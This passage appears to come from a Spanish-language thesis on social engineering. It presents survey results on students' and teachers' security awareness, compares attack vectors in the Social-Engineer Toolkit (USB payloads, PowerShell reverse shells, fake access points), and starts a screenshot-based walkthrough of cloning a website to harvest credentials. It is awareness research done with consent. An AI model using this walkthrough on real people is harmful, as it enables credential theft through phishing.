Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack
COMPUTACIONALES Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors
Third Party Modules
Smishing
Vishing
Spear phishing
Dumpster Diving

Shoulder surfing
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NO Tailgating
COMPUTACIONALES Eliciting information
Identity Fraud
Invoice Scams
Reconnaissance
Hoax

Tabla 1. Técnicas de ingenieria social

2.2.3. HERRAMIENTAS UTILIZADAS EN LA APLICACION DE INGENIERIA
SOCIAL
2.2.3.1. KALI LINUX

Es una distribucién de Linux, que se basa en Debian de cddigo abierto, que tiene como
objetivo realizar pruebas de penetracion avanzadas y auditorias de seguridad [39]. Kali
Linux posee mdltiples herramientas destinadas a distintas tareas de seguridad de la
informacion, tales como: pruebas de penetracién, informatica forense, investigacion de
seguridad e ingenieria inversa [39]. Es una solucién multiplataforma, disponible y
accesible de manera gratuita para profesionales y aficionados en la seguridad de la

informacién [39].

Se lanz6 el 13 de marzo de 2013, vista como una reconstruccion completa de BackTrack

Linux y se adhiere de forma completa a los estandares de desarrollo de Debian [39].

2.2.3.2. SOCIAL ENGINEERING TOOLKIT

Se utilizara una suite completa de ingenieria social, permitiendo automatizar tareas desde
el envio de mensajes de texto falsos (mensajes de texto), donde se pueden reemplazar
nameros de teléfono enviando mensajes, clonar cualquier sitio web, configurar y ejecutar

un servidor de phishing en segundos [40].

El kit de herramientas SET esta disefiado especificamente para realizar ataques avanzados
contra el elemento, esta herramienta rapidamente se convirtié en estandar para ataques de
usuarios en emprendimiento [40]. SET fue creado por David Kennedy (ReL1K) con gran
ayuda de la comunidad para combinar ataques sin precedentes en un solo conjunto de

herramientas de explotacién [40].

Esta conformada por muchas funciones de Metasploit, ademas, por lo que no es posible

disefiar un SET sin instalar primero dicha herramienta [40].
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2.3 MARCO TEORICO

2.3.1. PRACTICAS DE INGENIERIA SOCIAL

El presente articulo titulado “Ingenieria Social, un ejemplo practico”, habla de las
empresas y el impacto que tienen en la actualidad, adoptando espacios de almacenamiento
digital donde recopilan el activo més valioso que posee, la informacion, la misma se
constituye de datos financieros, clientes, informes, entre otros, la cual puede ser
prescindida con malas intenciones por los ciberdelincuentes o personas que buscan

utilizar esta informacion de forma maliciosa para perjudicar la entidad [41].

Las empresas siempre buscan tomar medidas de seguridad, que ayuden a administrar los
datos que poseen, teniendo en cuenta tres pilares esenciales: confidencialidad, integridad
y disponibilidad [42]. Con el pasar del tiempo, la tecnologia avanzay con ello se asocian
los posibles riesgos que presentan los sistemas de informacion, y la manera de
protegerlos, con herramientas como firewall, sistemas de deteccion de intrusos, entre
otras [42].

En el trabajo de investigacion se propone la metodologia para la generacion y ejecucion
de camparias de ingenieria social, donde se tendrd como resultado una evaluacion de
vulnerabilidades a nivel personal en la entidad determinada, concluyendo con los grados
de riesgo de la misma, generando una metodologia aplicada, teniendo la capacidad de
poder planificar una serie de ataques computacionales a través de métodos de ingenieria
social en la empresa perfilada [41]. También, se identificaron pasos importantes dentro
del proceso de la guia, tales como: perfilamiento previo de la institucion y planificacion

de campanas de ingenieria social [41].

Se logra reconocer que el fin del atacante que aplica ingenieria social, es el de explotar al
eslabon débil de la institucion, generando un buen ambiente de confianza con la persona,
empleando herramientas tecnoldgicas o encuentros cara a cara, para obtener la
informacidn que necesita [43]. Es importante tener en cuenta que, no solamente el usuario
estd expuesto a ser victima de un ataque cibernético, si no también, el mismo personal de

seguridad informatica [43].

Finalmente, como parte de las recomendaciones, las victimas pueden descubrir que estan
siendo un blanco de ataques informaticos, por lo tanto, es recomendable que el ingeniero
social esté en constante monitoreo de las reacciones de los usuarios y pueda actuar de

manera rapida en caso de una emergencia [41].
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2.3.2. EXPERIMENTO PARA CREAR CONCIENCIA EN LAS PERSONAS
ACERCA DE LOS ATAQUES DE INGENIERIA SOCIAL

Eduardo Benavides, Walter Fuertes y Sandra Sanchez, sefialan en su articulo “Un
experimento para crear conciencia en las personas acerca de los ataques de Ingenieria
Social”, que la misma, es una técnica que permite recopilar informacion de usuarios de
manera fraudulenta, con el objetivo de emplearla en contra de ellos mismos, o de las
instituciones donde laboran, presentando un experimento que se enfoca en crear
conciencia acerca de las consecuencias de este tipo de ataque, a través de la ejecucion de
ataques controlados a personas de confianza [44]. Para lograr esto, se ha llevado a cabo
un conjunto de actividades y engafios, que los hackers utilizan cominmente para obtener
informacion sensible, generando curiosidad de los contactos en redes sociales para que

visiten una pagina falsa con informacion ficticia [44].

Los ataques de ingenieria social utilizan sitios falsos como sefiuelos para afectar a los
usuarios, invitando a los mismos, a acceder a una pagina fraudulenta, infectando con
malware, especialmente troyanos, para posteriormente, robar informacion de los equipos
de las victimas, obteniendo datos de tarjetas de crédito o suplantar la identidad de las
personas [45]. Asi mismo, luego de realizar los ataques se hace una encuesta a los
individuos acerca del conocimiento que poseen de Phishing e ingenieria social, mostrando
en los resultados que Unicamente el 2% de los usuarios que visitaron la pagina, no tienen

conocimiento de como se puede vulnerar la informacién [44].

Se puede decir que los estudios que presentan una propuesta para concientizar a las
personas, incentivan a los usuarios a informarse acerca de los riesgos que traen consigo
estas practicas de los ciberdelincuentes, del mismo modo, saber la manera de prevenirlos

y las medidas de seguridad para reducirlos [46].

Finalmente, en diversos trabajos de ingenieria social, se evidencia que los usuarios acttan
por desconocimiento o curiosidad, siendo victimas de ataques cibernéticos, mediante
diversas técnicas para obtener informacion a través de pentesting, lo que presenta un alto

indice de riesgo por falta de manejo de estos temas en relacion de la seguridad [47].

Por ultimo, se puede destacar que hoy en dia, es importante implementar un plan de
capacitacion y sensibilizacion dirigido a las personas y entidades, teniendo en cuenta que

es mas comun de lo que se percibe, ser victima de los ciberdelincuentes [47].
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2.3.3. CIBERSEGURIDAD EN PLATAFORMAS EDUCATIVAS
INSTITUCIONALES DE EDUCACION SUPERIOR

El objetivo de la presente investigacion, es desarrollar un procedimiento para la gestion
de seguridad en plataformas educativas de los Institutos Tecnologicos Superiores, el cual
ayude con la identificacion de vulnerabilidades y riesgos de ciberseguridad, con el fin de

brindar proteccion a las diversas plataformas o sitios de educacion [48].

La infraestructura digital en la actualidad permite la conectividad en linea a través de
aplicaciones maviles, en donde los estudiantes se integran hacia nuevas experiencias de
estudio remoto, mediante plataformas educativas disponibles para la conexion y gestion
académica en cualquier parte del mundo, brindando una oportunidad para que los
docentes implementen nuevas estrategias de ensefianza — aprendizaje en las limitaciones
del contexto virtual [48]. La mayoria de las instituciones educativas, emplean dichas
plataformas para la preparacion académica, de manera que, incrementa la posibilidad de
ataques informaticos y violaciones en la seguridad [48].

Chhertri y Motti, indican en su estudio que, entre los medios electronicos més
vulnerables, estan: tablets, teléfonos inteligentes, computadoras portéatiles, de escritorio y
routers, debido a los factores: manipulacion de datos, fuga de informacion, falla en la
interfaz de voz, interrupcidn, deteccidn del comportamiento de usuario y autenticacion de
las cuentas, debido a que no disponen de medidas de seguridad apropiadas y utilizan
mecanismos sencillos como, contrasefias débiles, credenciales predeterminadas como
datos personales, lo cual es un error grave por parte de las personas, al momento de

resguardar su informacion [49].

En el Ecuador aun no se desarrolla una estrategia nacional para la ciberseguridad, que
establezca lineamientos, objetivos y plan de accion necesario para proteger los servicios,
informacién e infraestructuras, frente a crimenes cibernéticos [50]. Esta consideracion
abarca a las Instituciones de Educacion Superior, de modo que es declarada en el pais
como politica publica [50]. Por ende, existen aspectos que deben ser tomados en cuenta

para proteger la informacion en la web [50].

El proceso de metodologia planteado logra establecer un marco de gestion para la
ciberseguridad, aplicado a la infraestructura fisica y virtual de las plataformas educativas,
proponiendo una guia para el control y seguimiento de cada una de las areas que implican

riesgos de seguridad [48].
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2.4. COMPONENTES DE LA PROPUESTA

2.4.1. REQUERIMIENTOS
El documento abarcara un anélisis completo de cada infeccion recolectada en el

transcurso de la fase 2. De la misma forma, luego de analizar los procedimientos en las

fases anteriores.

Cadigo Especificacion de requerimientos

RQO1 | Realizar la recoleccion de informacion, mediante una encuesta utilizando
la escala de Likert a los docentes y estudiantes.

RQO02 | Obtener el permiso de los individuos para realizar los ataques de ingenieria
social.

RQO03 | Identificar el grado de conocimiento de los estudiantes y docentes, con
respecto al uso seguro de sistemas informaticos.

RQO04 | Emplear la metodologia marco de evaluacion de seguridad de la
informacidn, propuesta en el proyecto.

RQO5 | Seleccionar las técnicas adecuadas de ingenieria social, para aplicarlas en
el presente trabajo de investigacion.

RQO6 | Aplicar ingenieria social, mediante técnicas computacionales, por
comandos.

RQO7 | Utilizar ingenieria social, mediante técnicas no computacionales, por
medio de habilidades sociales.

RQO08 | Analizar las encuestas a través de graficos estadisticos, para tener
informacidn acerca del conocimiento de dichos ataques y procedimientos
realizados en la entidad.

RQO09 | Crear un informe de los ataques generados para constatar de qué manera se
obtuvo la informacidn, abarcando un analisis completo de los mismos.

RQ10 | Elaborar una guia de buenas préacticas sobre el uso seguro de sistemas
informaticos, a las personas que participaron en este estudio.
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RQ11 | Instalar Kali linux en una maquina virtual, para poder ejecutar la fase de

ataques.

RQ12 | Utilizar un equipo con almacenamiento minimo de 4 GB de RAM.

RQ13 | Realizar pruebas de seguridad en escenarios controlados.

RQ14 | Ejecutar las pruebas en horas estratégicas para realizar un ataque exitoso.

RQ15 | Crear los ataques en base a paginas conocidas por los individuos, para

obtener buenos resultados.

Tabla 2. Requerimientos

3. CAPITULO 111

3.1. RESULTADOS DE ENCUESTA CON CUADROS ESTADISTICOS

l. USO DE SISTEMAS INFORMATICOS
1. ¢Qué nivel de conocimientos considera que tiene sobre el uso de internet y
sistemas informaticos?
NIVEL DE CONOCIMIENTO SOBRE SISTEMAS
INFORMATICOS

Bajo, 3.6 Alto, 143

Medio, 82.1

Figura 2. Nivel de conocimiento sobre sistemas informaticos

Del 100% de los encuestados, se pudo determinar que, el 82.1% tiene un nivel medio de
conocimientos acerca del uso de internet y sistemas informaticos, mientras que, el 14.3%
tiene un nivel alto sobre el tema y solo el 3.6% considera tener un bajo nivel de
conocimientos.
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2. ¢Con qué fin utiliza las redes sociales?

UTILIZAD DE LAS REDES SOCIALES

120
100
80
60 103 114 109
40
20 26 8
0
Entretenimiento  Educativo Informativo Trabajo Otro

@ Encuestados

Figura 3. Fin de utilizar las redes sociales
El 73.6% de la
poblacion utiliza las redes sociales como medio de entretenimiento, mientras que, el
81.4% manifiesta que las usan para educarse, asi mismo, el 77.9% declara que la emplean
para informarse, del mismo modo, el 18.6% de los encuestados las utilizan para trabajo y

el 5.7% usan las redes sociales con otro fin.

3. ¢Qué nivel de conocimiento tiene respecto a las amenazas y los riesgos
informéticos que estan presentes en las redes sociales?

NIVEL DE CONOCIMIENTO SOBRE AMENAZAS
Y RIESGOS EN REDES SOCIALES

Bajo, 5.7

Alto, 26.4

Medio, 67.9

Figura 4. Nivel de conocimiento sobre amenazas y riesgos en redes sociales

Se determino que, el 67.9% de los encuestados sefialan que, tienen un nivel medio de
conocimiento respecto a las amenazas y los riesgos informaticos que estan presentes en
las redes sociales, asi mismo, el 26.4% manifiesta tener un alto conocimiento respecto al
temay el 5.7% dicen tener un nivel bajo de conocimiento.
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4. ¢Utiliza contrasefias diferentes para sus cuentas electrénicas como redes
sociales, email, aula virtual?

EMPLEO DE LAS MISMAS CONTRASENAS EN
LAS CUENTAS ELECTRONICAS

No, 16.4

Si, 83.6

Figura 5. Empleo de las mismas contrasefias en las cuentas electrénicas

El 83.6% de la poblacion declara en la encuesta que, utilizan contrasefias diferentes para
sus cuentas electronicas como redes sociales, email y aula virtual, sin embargo, el 16.4%

de los encuestados, manifiestan que emplean las mismas claves.

1. CONOCIMIENTOS DE CIBERATAQUES

5. ¢Cual de estos ciberataques conoce, y que los podria explicar a otras

personas?
CONOCIMIENTO DE CIBERATAQUES
100
80
60
40
zo .
 omim b [
Ransomware Phishing DDoS Troyanos  Ninguno

@ Encuestados

Figura 6. Conocimiento de ciberataques
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El 56.4% de los encuestados manifiestan que, no conocen ningdn ciberataque, no
obstante, las deméas personas declaran que conocen diversos ciberataques, pudiendo
explicarlos a otras personas. A continuacién, se detallan las respuestas: Ransomware

(5.7%), phishing (14.3%), ataques de denegacion de servicios (15%) y troyanos (32.9%).

6. ¢Queé tipo de fraudes electrdnicos le genera mayor temor?

TEMOR DE LAS PERSONAS RESPECTO A
FRAUDES ELECTRONICOS

150
100
50 99
76 70
38
0
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@ Encuestados

Figura 7. Temor de las personas respecto a fraudes electronicos

Del 100% de la poblacion encuestada se pudo determinar que, el 54.3% manifiesta que el
tipo de fraude electrénico que le genera mayor temor es que les roben dinero de las
cuentas bancarias, mientras que, el 70.7% declara que, la suplantacion de identidad es su
mayor miedo, asi mismo, el 27.1% dicen que temen que secuestren su WhatsApp v el

50% desconfian de las estafas de vendedores en sitios web ilegitimos.

7. ¢Con qué frecuencia recibe mensajes de texto que da aviso que alguien ha
ingresado a una de sus cuentas electronicas como Facebook, Instagram,
email?

FRECUENCIA QUE RECIBE MENSAJES DE AVISO
DE INGRESO A CUENTAS EN REDES SOCIALES
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0

Op.1 Op. 2 Op. 3
@ Encuestados

Figura 8. Frecuencia que recibe mensajes de aviso de ingreso a cuentas en redes sociales
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El 20% de los encuestados reciben mensajes de texto que dan aviso que alguien ha
ingresado a una de sus cuentas electronicas como Facebook, Instagram o email, 1 vez al
mes, de la misma forma, el 14.3% reciben este tipo de mensajes 1 vez cada 3 meses, el

21.4%, 1 vez al afio y el 44.3% nunca ha recibido estas alertas.

8. ¢Alguna vez han vulnerado la seguridad de sus cuentas electronicas?

VULNERACION DE SEGURIDAD EN
CUENTAS ELECTRONICAS

Si, 37.9

No, 62.1

Figura 9. Vulneracion de seguridad en cuentas electronicas

Se pudo determinar que, el 37.9% de los encuestados, alguna vez vulneraron la seguridad

de sus cuentas electrénicas, mientras que, el 62.7% no ha presentado este inconveniente.

I11.  USO SEGURO DE REDES SOCIALES

9. ¢Qué nivel de conocimiento tiene sobre las seguridades que se aplican en sus
cuentas electrénicas?

NIVEL DE CONOCIMIENTO SOBRE
SEGURIDADES EN CUENTAS ELECTRONICAS

Bajo, 12.9 Alto, 13.6

Medio, 73.6
Figura 10. Nivel de conocimiento sobre seguridades en cuentas electronicas
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El 73.6% de la poblacion encuestada manifiesta que, tiene un nivel medio de
conocimiento sobre seguridades que se aplican en sus cuentas electronicas, mientras que,
el 13.6% tiene un nivel alto y solo el 12.9% consideran tener un bajo nivel de
conocimiento respecto al tema.

10. ¢ Cudl de estos métodos le genera mayor seguridad con sus dispositivos y
cuentas electrénicas?

METODOS QUE GENERAN MAYOR

SEGURIDAD
UEEIEI
Op.1 Op.2 Op.3 Op.4 Op.5

@ Encuestados

Figura 11. Métodos que generan mayor seguridad

El 62.1% de los encuestados les genera mayor seguridad en sus dispositivos y cuentas, el
tener instalado un antivirus, mientras que, el 37.9% manifiesta que es mas seguro,
desconfiar de todo lo que llega al teléfono, asi mismo, el 37.9% dice que, es mejor tener
una proteccion integral de la presencia digital, del mismo modo, el 36.4% declara que,
con no abrir emails raros es suficiente y el 8.6% manifiestan que no hacen nada, ya que,

sus dispositivos son seguros.

11. ¢ Considera importante conocer a las personas que tiene agregadas en sus
redes sociales?

IMPORTANCIA DE CONOCER A LAS
PERSONAS EN REDES SOCIALES

82
45 12 1

Op.1 Op. 2 Op. 3 Op. 4

I Encuestados
Figura 12. Importancia de conocer a las personas en redes sociales
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El 58.6% considera que es muy importante conocer a las personas que tienen agregadas
en redes sociales, mientras que, el 32.1% dicen que es importante, asi mismo, el 8.6%
declaran que es poco importante y el 0.7% manifiestan que, para ellos, no es importante.

12. ¢ Considera que su seguridad informatica esta mas amenazada ahora?

NIVEL DE SEGURIDAD INFORMATICA
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40
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33

10 18

0

Op.1 Op. 2 Op. 3 Op. 4

I Encuestados

Figura 13. Nivel de seguridad informatica

Del 100% de la poblacion encuestada, el 23.6% considera que ahora hay los mismos
riesgos de antes, el 30% manifiesta que los riesgos han aumentado un poco pero no les
afectan, mientras que, el 33.6% declara que se sienten mas vulnerables ante riesgos

informaticos y el 12.9% dicen que se sienten muy seguros antes y ahora.

13. En su opinidn, ¢Qué tan segura es la red de la Universidad?

NIVEL DE SEGURIDAD DE LARED DE LA
UNIVERSIDAD

150
100
50 110
ﬁZj 7 1
0
Op.1 Op. 2 Op. 3 Op. 4
@ Encuestados

Figura 14. Nivel de seguridad de la red de la universidad
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El 15.7% de la poblacion considera que, la red de la universidad es muy segura, mientras
que, el 78.6% dice que es segura, asi mismo, el 5% declara que es insegura y el 0.7%

manifiesta que es muy insegura.

14. ; Qué nivel de seguridad cree usted que tiene la red WIFI de su institucion?

NIVEL DE SEGURIDAD DE LA RED WIFI DE
LA INSTITUCION

Bajo, 5.7

Alto, 22.9

Medio, 71.4

Figura 15. Nivel de seguridad de la red WIFI de la institucion

El 22.9% de los encuestados manifiestan que, el nivel de seguridad que tiene la red WIFI
de la institucion es alto, mientras que, el 71.4% indican que tiene un nivel medio y solo

el 5.7% declaran que la red WIFI posee un nivel bajo de seguridad.

15. ¢ Conoce de algun ciberataque dirigido a su entidad educativa?

CONOCIMIENTO DE CIBERATAQUES
DIRIGIDOS ALAENTIDAD EDUCATIVA

Si, 7.1

No, 92.9

Figura 16. Conocimiento de ciberataques dirigidos a la entidad educativa
Del 100% de los encuestados, el 92.9% conocen de algln ciberataque dirigido a la entidad

educativa y el 7.1% no conoce sobre ninguno.
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16. ¢ Desea participar en este trabajo investigativo como informante del nivel de
seguridad que posee en sus dispositivos y cuentas electrénicas?

PARTICIPACION EN EL PRESENTE TRABAJO
DE INVESTIGACION

Si, 26.4

No, 73.6

Figura 17. Participacion en el presente trabajo de investigacion

El 73.6% de las personas encuestadas, desean participar en este trabajo investigativo
como informantes del nivel de seguridad que poseen en sus dispositivos y cuentas

electronicas, mientras que, el 26.4% no esta de acuerdo en participar.
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3.2. VECTORES DE ATAQUES DE INGENIERIA SOCIAL

3.3. SELECCION DE TECNICAS DE INGENIERIA SOCIAL COMPUTACIONALES Y NO COMPUTACIONALES

3.3.1. CUADRO COMPARATIVO DE VECTORES DE ATAQUES EN
COMPUTACIONALES

Se utiliza para llevar a cabo, ataques de correo
electronico dirigidos contra una victima.

Es una forma Unica de utilizar multiples ataques
basados en Web con el fin de comprometer a la posible
victima.

La mayoria de las personas tienen al menos una
memoria USB para transferir archivos del trabajo a sus
hogares. También una caracteristica comdn de los
humanos es la curiosidad. Estas dos cosas combinadas
pueden crear una gran amenaza.

Usuarios 0 victimas
que  frecuentemente
usan  paginas con
correo y contrasefia
Usuarios o victimas
que  frecuentemente
usan paginas web
determinadas con
correo y contrasefia
Este tipo de ataque
permite que el
probador de
penetracion cree un
USB, DVD o CD con
contenido  malicioso.
Cuando el usuario
desprevenido abre el
archivo, la carga util se
ejecutara y devolvera
un shell.

MEDIA

MEDIA

ALTA

INGENIERIA SOCIAL CON TECNICAS
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DESCRIPCION
Crea el contenido de una carga util saliente en un
puerto de eleccion para el SMB de destino, que luego
se conecta. Detrds de escena, las cargas Utiles se
procesan con un buafer de pila y luego se ejecutan en
respuesta a la maquina de ataque que desborda sus
puertos.

Un correo masivo generalmente se usa para enviar un
enlace de pagina de phishing a la ID de correo
electronico del objetivo.

DIRIGIDO

El oyente se utiliza
para monitorear las
actividades del
ejecutable en la
computadora de la
victima. Sin embargo,
un atacante tiene que
plantar  fisicamente
este ejecutable en la
méaquina de la victima
y ejecutarlo. Debido a
la dindmica de hacer
un ataque usando este
método, es
desfavorable ya que
existen otros modulos
que pueden entregar el
ejecutable al usuario
de formas mas
efectivas.

El  agresor  debe
conocer la técnica de
recoleccion de correo
electrdnico para
dominar este ataque.
Un corre0  masivo
también se usa para
ejecutar un ataque de
denegacion de servicio

EFICIENCIA
BAJA

MEDIA
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DESCRIPCION
Este vector de ataque utiliza el dispositivo basado en
Arduino para programar el dispositivo. Puede
aprovechar los Teensy, que tienen almacenamiento
integrado y pueden permitir la ejecucion remota de
cadigo en el sistema fisico.

El modulo Wireless Attack creara un punto de acceso
falso aprovechando su tarjeta inaldmbrica y redirigira
todas las consultas de DNS hacia usted.

El QRCode Attack Vector creara un QRCode para
usted con la URL que desee. Cuando haya generado el
QRCode, seleccione un vector de ataque adicional
dentro de SET e implemente el QRCode en su victima

DIRIGIDO
Este vector de ataque
generara
automaticamente el
codigo necesario para
implementar la carga
atil en el sistema por
usted.

creara un punto de
acceso inalambrico, un
servidor dhcp y un
DNS  falso  para
redirigir el trafico a la
maéaquina atacante.

Genere un QRCode del
SET Java Applet y
envie el QRCode a
través de un correo.

EFICIENCIA
BAJA

ALTA

MEDIA
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DESCRIPCION
El médulo PowerShell Attack Vector le permite crear
ataques especificos de PowerShell. Estos ataques le
permitiran utilizar PowerShell, que esta disponible de
forma predeterminada en todos los sistemas operativos

Windows Vista y superior.

Puede usar Mddulos de terceros para agregar
funcionalidad al Producto LINQ, siempre que dicho
uso esté limitado al uso interno por parte de Usted de

una manera que no
disposiciones

Tabla 3. Cuadro comparativo de vectores de ataques con técnicas computacionales

infrinja ninguna de

las

DIRIGIDO
PowerShell
proporciona un
panorama  fructifero
para implementar
cargas Utiles y realizar
funciones que no se
activan con
tecnologias
preventivas.

Inyector de cddigo
Shell alfanumeérico
Powershell
Carcasa inversa
Powershell
Carcasa de union
Powershell

Base de datos SAM de
volcado de Powershell
Proporciona al
atacante un enlace para
poder realizar el ataque
en una empresa de
forma interna.

EFICIENCIA
MEDIA

MEDIA
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3.3.2. SELECCION DE TECNICAS COMPUTACIONALES

Es una forma unica de utilizar mdltiples ataques
basados en Web con el fin de comprometer a la posible
victima.

La mayoria de las personas tienen al menos una
memoria USB para transferir archivos del trabajo a sus
hogares. También una caracteristica comin de los
humanos es la curiosidad. Estas dos cosas combinadas
pueden crear una gran amenaza.

El QRCode Attack Vector creard un QRCode para
usted con la URL que desee. Cuando haya generado el
QRCode, seleccione un vector de ataque adicional
dentro de SET e implemente el QRCode en su victima

Usuarios 0 victimas que
frecuentemente usan paginas
web determinadas con correo y
contrasefa

Este tipo de ataque permite que
el probador de penetracion cree
un USB, DVD o CD con
contenido malicioso. Cuando el
usuario desprevenido abre el
archivo, la carga util se
ejecutara y devolvera un shell.
genere un QRCode del SET
Java Applet y envie el QRCode
a través de un correo.

Tabla 4. Seleccién de técnicas computacionales

MEDIA

ALTA

MEDIA
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3.3.3. CUADRO COMPARATIVO DE VECTORES DE ATAQUES EN INGENIERIA SOCIAL NO COMPUTACIONALES

Ataque de Phishing realizado a través de un Estos SMS generalmente se
SMS, El contenido del mensaje invita a pulsar en hacen pasar por servicios
un link que lleva a una web maliciosa. habitualmente usados en la

poblacién, cominmente bancos

0 servicios de reparto.

Ataque de Phishing realizado por teléfono o a
través de un sistema de comunicacion por voz. El
cibercriminal se pone en contacto con la victima  Victima a través de una llamada
a través de una llamada, haciéndose pasar por un
servicio técnico, le pide a la victima
determinados requisitos para resolver la
incidencia.

ALTA

MEDIA
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DESCRIPCION

El atacante emplea técnicas de OSINT para
obtener toda la informacion disponible sobre la
victima, y de esta forma modelar y dirigir el

ataque hacia esta.

Los ciber atacantes consideran a los ejecutivos
“High level” como “whales” de ahi el nombre del

ataque.

Accién de “bucear” en la basura de una
organizacion para obtener informacion de
documentos que iban a ser reciclados.

DIRIGIDO

Ataque de Phishing
concretamente dirigido a una

victima o conjunto de victimas.
Phishing, donde cuyo objetivo es

un “peso pesado” de la

organizacion.

Dirigida a la organizacion

EFICIENCIA

MEDIA

MEDIA

BAJA
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DESCRIPCION DIRIGIDO
Su nombre es muy descriptivo, ya que hace
referencia a mirar por encima del hombro (para

Dirigida a victima en especifico.
conseguir informacion).

Consiste en seguir a una persona, para acceder
con ella a una zona de acceso restringido. Esta  Dirigida a victima en especifico.
técnica se basa en la generosidad de las personas,
ya que por cortesia se suele aguantar de la puerta

a quien viene detras.

Algunas de estas técnicas de comunicacion son:
escucha activa, Preguntas reflexivas o utilizar
afirmaciones falsas (Para que el objetivo corrija
con la info que interesa). De esta forma, enuna  Dirigida a victima en especifico.

conversacion aparentemente casual, el atacante

ird «tirando de la lengua» al objetivo y

conseguira informacion.

EFICIENCIA

MEDIA

MEDIA

BAJA
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DESCRIPCION
Una usurpacion de identidad es apropiarse de la
identidad de otra persona generalmente con la
intencién de poder acceder a recursos y tener

beneficios en nombre de la otra persona.

La estafa de las facturas falsas se produce cuando
el atacante envia una factura fraudulenta a su
objetivo, de manera que este, sino la revisa
atentamente puede llegar a pagar la cantidad que

se pide en la factura.

Los cibercriminales recopilaran toda la
informacion disponible sobre el objetivo, para de
este modo poder personalizar y dirigir el ataque.

DIRIGIDO

Dirigida a victima en especifico.

Dirigida a victima en especifico.

Dirigida a victima en especifico.

EFICIENCIA

MEDIA

MEDIA

MEDIA
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DESCRIPCION
Son peligrosos porque intentan manipular a la
victima para que haga alguna accion en su equipo
que lo deje desprotegido o incluso inservible.

Estos ataques se basan una vez mas en el miedo.

DIRIGIDO EFICIENCIA
Dirigida a victima en especifico.
Suelen estar constituidos por 3
partes reconocibles:
ALTA

Gancho: Sirve para captar la
atencion de la victima y que lea
el mensaje.
Advertencia: Enumera los
peligros que hay si la victima no
reacciona o hace algo de
inmediato. Juega con el miedo
Peticion: Pide una accién para

resolver el problema, y a

mayores darle difusion al

mensaje (Asi el bulo sigue
circulando)

Tabla 5. Cuadro comparativo de vectores de ataques con técnicas no computacionales
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3.3.4. SELECCION DE TECNICAS NO COMPUTACIONALES

Su nombre es muy descriptivo, ya que hace Dirigida a victima en
referencia a mirar por encima del hombro (para especifico.
conseguir informacion).

Ataque de Phishing realizado por teléfono o a Victima a través de una
través de un sistema de comunicacién por voz. llamada
El cibercriminal se pone en contacto con la
victima a través de una llamada, haciendose
pasar por un servicio técnico, le pide a la

victima requisitos para resolver la incidencia.

Tabla 6. Seleccion de técnicas no computacionales

MEDIA

MEDIA
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3.4. IMPLEMENTACION DE TECNICAS DE INGENIERIA SOCIAL
COMPUTACIONALES
3.4.1. DISENO Y EJECUCION DE ATAQUES DE INGENIERIA SOCIAL

Ataque 1. Vector de ataque empleado: Phishing
Iniciamos la aplicacion Social Engineering toolkit desde un sistema operativo

virtualizado, la cual mostrara este entorno de inicio.

Shell No. 1

File Actions Edit View Help

Figura 18. Entorno de inicio de SET

Luego se escogen las opciones para el ataque, que se realizara a la victima.

Shell No. 1
File Actions Edit View Help

Eng i a p of TrustedSec.

Visit: ht

Select from the menu:

Figura 19. Opciones para el ataque
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Se elige la opcidn 1, la cual es un ataque de ingenieria social.

] Shell No.1

File Actions Edit View Help

ial-Enginee (it is a product of TrustedSec.

Visit: https .trustedsec.com

elect from the menu:

cks

-Track)

ineer Toolkit

99) Exit the Social-Engineer Toolkit

Figura 20. Escoger la opcion de ataque de ingenieria social

Daré como resultado un segundo menu, en el cual se selecciona la opcion 2: Penetration

Testing.

] Shell No. 1

File Actions Edit View Help

is a product o

Figura 21. Opcién 2, Penetration testing

Continuamente, se desplazara un tercer menu con multiples opciones, en el cual se elegira

la opcidn 2: Website attack vector.
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e Shell No.1

File Actions Edit View Help

for
The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https:// .trusted

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

Third Party Modules

Return back to the main menu.

Figura 22. Opcidn 2, Website attack vector

En el siguiente mend, se seleccionara la opcion 3: Credential harvester, attack metol,

permitiendo clonar una pagina web que seré subida a un servidor.

Shell No. 1

File Actions Edit View Help

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to some
thing different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe rep
lacements to make the highlighted URL link to appear legitimate however when clicked a window pops u
p then is replaced with the malicious link. You can edit the link replacement settings in the set_co
nfig if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example y
ou can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to s
ee which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA fi
les which can be used for Windows-based powershell exploitation through the browser.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu

>3]

Figura 23. Opcion 3, Credential harvester, attack metol

En el mend que se muestra a continuacion, se determinard una opcion entre tres, de las
cuales, la primera es una web que viene por defecto, la segunda es una site cloner, que es
poner el link para el sitio a clonar y la tercera es custom import, que es una pagina creada

por autoria propia, en este caso se seleccionara la opcion 2.
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5 Shell No. 1

File Actions Edit View Help

4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method

99) Return to Main Menu

>3

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates

2) Site Cloner

3) Custom Import
99) Return to Webattack Menu

>2I

Figura 24. Opcidn 2, site cloner

A continuacion, pide que se ingrese la ip que recogera los datos ingresados por las

victimas, comunmente es la ip de la maquina creadora.

] Shell No. 1
File Actions Edit View Help
Custom Import

99) Return to Webattack Menu

you to util the clone
ers from
— * IMPORTANT =* THIS BEFORE ENTERING IN THE IP ADDR * IMPORTANT * —

that this i nd locking for form f
If the P el [ w0ds for posting forms

il. If it dc y the HTML, the forms to
rd forms a t f . L T /

1 EXTERNAL IP ADDR

so if you don't
rnal per
how networking 1

> IP address for the POST back in Ha

Figura 25. Ingreso de IP

Por ultimo, se escribe la direccion de la pagina a clonar.
